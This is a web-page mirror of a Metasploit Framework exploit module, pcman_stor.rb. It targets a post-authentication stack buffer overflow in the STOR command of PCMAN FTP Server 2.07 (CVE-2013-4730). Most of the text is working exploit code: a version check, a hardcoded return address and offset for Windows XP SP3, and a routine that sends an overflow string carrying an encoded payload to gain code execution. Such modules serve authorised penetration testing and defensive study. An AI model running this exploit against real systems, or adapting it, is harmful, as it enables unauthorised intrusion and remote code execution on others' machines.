CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/pcman_stor.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow vulnerability found in the STOR command of the
16
PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
17
note authentication is required in order to trigger the vulnerability. The overflowing
18
string will also be seen on the FTP server log console.
19
},
20
'Author' =>
21
[
22
'Christian (Polunchis) Ramirez', # Initial Discovery
23
'Rick (nanotechz9l) Flores' # Metasploit Module
24
],
25
'License' => MSF_LICENSE,
26
'References' =>
27
[
28
[ 'CVE', '2013-4730' ],
29
[ 'OSVDB', '94624'],
30
[ 'EDB', '27703']
31
],
32
'DefaultOptions' =>
33
{
34
'EXITFUNC' => 'process',
35
'VERBOSE' => true
36
},
37
'Payload' =>
38
{
39
'Space' => 1000,
40
'BadChars' => "\x00\xff\x0a\x0d\x20\x40",
41
},
42
'Platform' => 'win',
43
'Targets' =>
44
[
45
[ 'Windows XP SP3 English',
46
{
47
'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
48
'Offset' => 2011
49
}
50
],
51
],
52
'DisclosureDate' => '2013-06-27',
53
'DefaultTarget' => 0))
54
end
55
56
def post_auth?
57
true
58
end
59
60
def check
61
c = connect_login
62
disconnect
63
64
if c and banner =~ /220 PCMan's FTP Server 2\.0/
65
# Auth is required to exploit
66
vprint_status("Able to authenticate, and banner shows the vulnerable version")
67
return Exploit::CheckCode::Appears
68
elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
69
vprint_status("Unable to authenticate, but banner shows the vulnerable version")
70
# Auth failed, but based on version maybe the target is vulnerable
71
return Exploit::CheckCode::Appears
72
end
73
74
return Exploit::CheckCode::Safe
75
end
76
77
78
def exploit
79
c = connect_login
80
81
# Auth failed. The mixin should show the error, so we just bail.
82
return unless c
83
84
# Username is part of the overflowing string, so we need to account for that length
85
user_length = datastore['FTPUSER'].to_s.length
86
87
print_status("Trying victim #{target.name}...")
88
sploit = rand_text_alpha(target['Offset'] - user_length)
89
sploit << [target.ret].pack('V')
90
sploit << make_nops(4)
91
sploit << payload.encoded
92
sploit << rand_text_alpha(sploit.length)
93
94
send_cmd( ["STOR", "/../" + sploit], false )
95
disconnect
96
end
97
end
98
99